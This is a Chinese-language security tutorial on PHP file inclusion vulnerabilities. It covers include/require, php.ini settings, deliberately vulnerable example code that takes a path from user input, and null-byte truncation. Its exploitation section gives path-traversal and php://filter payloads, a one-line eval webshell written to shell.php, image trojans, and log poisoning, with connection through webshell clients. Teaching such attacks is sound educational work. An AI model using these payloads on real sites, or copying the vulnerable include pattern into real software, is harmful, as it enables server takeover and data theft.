文章目录
文件包含漏洞
一、概述
程序开发人员通常会把可重复使用的函数写到单个文件中,在使用某个函数的时候,直接调用此文件,无需再次编写,这种调用文件的过程通常称为包含。
漏洞原因:程序开发人员都希望代码更加灵活,所以通常会把被包含的文件设置为变量来进行动态调用,但正是由于这种灵活性,从而导致客户端可以调用任意文件,造成文件包含漏洞。
几乎所有的脚本语言都会提供文件包含功能。文件包含漏洞在PHP Web Application中居多,在JSP/ASP/ASP/. net程序中比较少。
二、PHP中的文件包含漏洞相关
1. PHP中的文件包含函数
1.1 include()
-
文件包含失败时,会产生警告,脚本会继续运行。
-
示例
文件1:inc.php
<?php
echo "This is inc.php.";
?>
文件2:include.php
<?php
include("./inc.php"); // 写法一
echo "<h1>This is include.php</h1>";
include "./inc.php"; // 写法二
?>
- 运行结果
1.2 include_once()
-
与include()功能相同, 文件只会被包含一次。
-
示例
文件1:inc.php
<?php
echo "This is inc.php.";
?>
文件2:include.php
<?php
include_once("./inc.php");
echo "<h1>This is include_once.php</h1>";
include_once "./inc.php";
?>
- 运行结果
1.3 require()
-
文件包含失败时,会产生错误,直接结束脚本执行。
-
示例
文件1:inc.php
<?php
echo "This is inc.php.";
?>
文件2:include.php
<?php
require("./inc.php");
echo "<h1>This is require.php</h1>";
require"./inc.php";
?>
- 运行结果
1.4 require_once()
-
与require()功能相同,文件只会被包含一次。
-
示例
文件1:inc.php
<?php
echo "This is inc.php.";
?>
文件2:include.php
<?php
require_once("./inc.php");
echo "<h1>This is require_once.php</h1>";
require_once"./inc.php";
?>
- 运行结果
2. PHP相关配置
文件包含是PHP的基本功能之一,有本地文件包含和远程文件包含之分(虽然php官网上不是这么解释的)。
本地文件包含就是可以读取和打开本地文件;
远程文件包含就是通过网络协议(http、ftp、PHP伪协议等)可以远程加载文件。
我们可以通过php.ini来进行配置。
allow_url_fopen=On/Off
// 本地文件包含(LFI),但这个无论On或Off,本地文件包含都存在
allow_url_include=On/Off
// 远程文件包含(RFI)
3. 漏洞示例
一共三个文件(inc.php、info.php、include.php)
3.1 本地包含示例
inc.php
<?php
echo "This is inc.php.";
?>
info.php
<?php
phpinfo();
?>
include.php
<?php
$path = $_GET['path'];
echo "<h1>This is include.php</h1>";
inculde "$path";
?>
运行结果:
3.2 远程包含示例
当我们php的配置 allow_url_include
为Off时
当我们php的配置 allow_url_include
为On时
4. 漏洞原理
PHP文件包含是程序设计的基础功能之一,能够减少代码量,提高开发效率。但是使用文件包含功能时,有类似于以上测试代码的设计,实现了动态包含,就有产生文件包含漏洞的风险。
如果实现动态包含的参数,Web应用没有进行严格净化,客户端用户可以影响或控制文件包含的路径,就会产生文件包含漏洞。
5. 漏洞特点
5.1 无视文件扩展名读取文件
包含文件时,PHP会读取文件的源码,包括图片文件。尝试包含图片,打开图片不是图像,而是以二进制形式打开的。
示例:在图片文件的详细信息的版权里注入php代码。
5.2 无条件解析PHP代码
文件包含在读取文件源码的同时,如果遇到符合PHP语法规范的代码,就会无条件执行。
如,将info. php的后缀名改成info. rar,依然能够显示phpinfo()信息。
6. 空字符安全绕过
空字符安全限制绕过,是PHP小于5.3.4 版本的一个漏洞,CVE编号是CVE-2006-7243。这个漏洞就是PHP接收来自于路径名中的空(Null)字符,这可能允许依赖于上下文的攻击者通过在此字符后放置安全文件扩展名来绕过预期的访问限制也就是我们之间讲过的00截断。
-
调整PHP版本;
-
index.php文件
<?php
if(isset($_GET['path'])){
include $_GET['path'].".html";
}else{
echo "?path=[path]";
}
?>
- test.html
<h1>Hello,%00</h1>
- 测试访问
- 加上%00,测试访问info.php
发现它为我们自动转义
解决:需要关闭php的魔术引号,在php的配置文件中
结果:
这是php的低版本中的漏洞,高版本已将它去除!
三、漏洞利用
1. 读取敏感文件
我们可以利用文件包含漏洞读取任意文件,读取文件的时的条件:
- 知道目标主机文件存在(目标文件的路径,绝对路径,相对路径);
- 具有文件可读权限。
示例
方法一:?path=c:\windows\System32\drivers\etc\hosts
方法二:先返回当前盘符的根,?path=..\..\..\..\..\..\..\..\windows\System32\drivers\etc\hosts
2. 直接包含图片木马
可以利用文件包含漏洞直接包含图片木马,使用菜刀连接。
示例
中国蚁剑连接:
3. 包含木马写Shell
我们也可以将如下代码写入到图片中
<?php
fputs(fopen( 'shell.php', 'w' ),"<?php @eval(\$_REQUEST['cmd'])?>");
?>
该段代码的含义是,在当前目录下创建一个名为 shell. php 的文件,内容为一句话木马,当我们直接包含图片的时候,这段代码就会被执行。
4. 利用PHP封装协议
4.1 访问本地文件
我们可以使用php的file协议访问本地系统文件,提交参数:
?path=file://c:\windows\System32\drivers\etc\hosts
4.2 传输PHP文件
利用下面参数传送任意PHP文件,然后base-64解码即可:
?path=php://filter/read=convert.base64-encode/resource=文件路径
解码可得:
4.3 执行PHP命令
5. 其他利用
已知一个网站存在本地文件包含漏洞,没有文件上传API,如何利用?
包含本地日志文件
- 获取日志文件的路径(常识、爆破);
如php的日志文件:\Apache\logs\error.log
拦截数据包,注入一句话木马
读取日志文件:
?path=日志文件路径
- 蚁剑成功连接。